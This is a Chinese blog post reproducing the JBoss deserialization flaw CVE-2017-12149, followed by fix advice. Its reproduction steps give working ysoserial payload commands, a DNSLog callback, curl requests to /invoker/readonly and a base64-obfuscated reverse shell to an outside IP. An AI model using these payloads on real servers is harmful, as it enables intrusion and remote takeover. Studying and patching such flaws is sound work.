发布于 

CVE-2017-12149(Jboss5.x/6.x远程代码执行)

1. 漏洞描述

JBOSS反序列化漏洞

JBoss是一个基于J2EE的开发源代码的应用服务器。是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

2. 默认端口

8080、9990

3. 利用条件

  • 5.x和6.x版本的JBOSS
  • /invoker/readonly接口未做限制或过滤(一般回显为500错误)

4. 漏洞复现

4.1 访问/invoker/readonly

显示为500 错误即为漏洞存在。

image-20221010000300074

4.2 生成DNSLog序列化数据

1
java -jar ysoserial-all.jar CommonsCollections6 "curl zq7l8t.dnslog.cn" > poc.ser

image-20221010000746604

4.3 发送DNSLog序列化数据

使用Burp发送不出序列化数据,可能是编码问题,所以这里使用curl命令发送Post 请求。

1
curl http://(ip):8080/invoker/readonly --data-binary @poc.ser

image-20221021181028261

4.4 生成反弹Shell序列化数据

1
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCBtaSA+Jia7ACE2L3RjcC8xMDEuNDIuMTc4LjE3NS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

4.5 发送反弹Shell序列化数据

1
curl http://(ip):8080/invoker/readonly --data-binary @poc.ser

image-20221021183117706

image-20221021183217076

5. 漏洞分析

6. 修复建议

修复原理:通过向http-invoker.sarweb.xml 文件中的安全约束添加<url-pattern>来保护对整个 http-invoker 上下文的访问,不想使用http-invoker.sar可以将其删除。

修复方法:

  1. 修改web.xml 文件
    1. 进入/jboss/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml
    2. 在安全约束中添加,就是在security-constraint 里添加或修改
    3. 修改完成后,重启jboss 服务,再次通过另一个虚拟机访问并且使用工具检测
  2. 不需要http-invoker.sar 组件的直接删除
  3. 升级jboss 到最新版本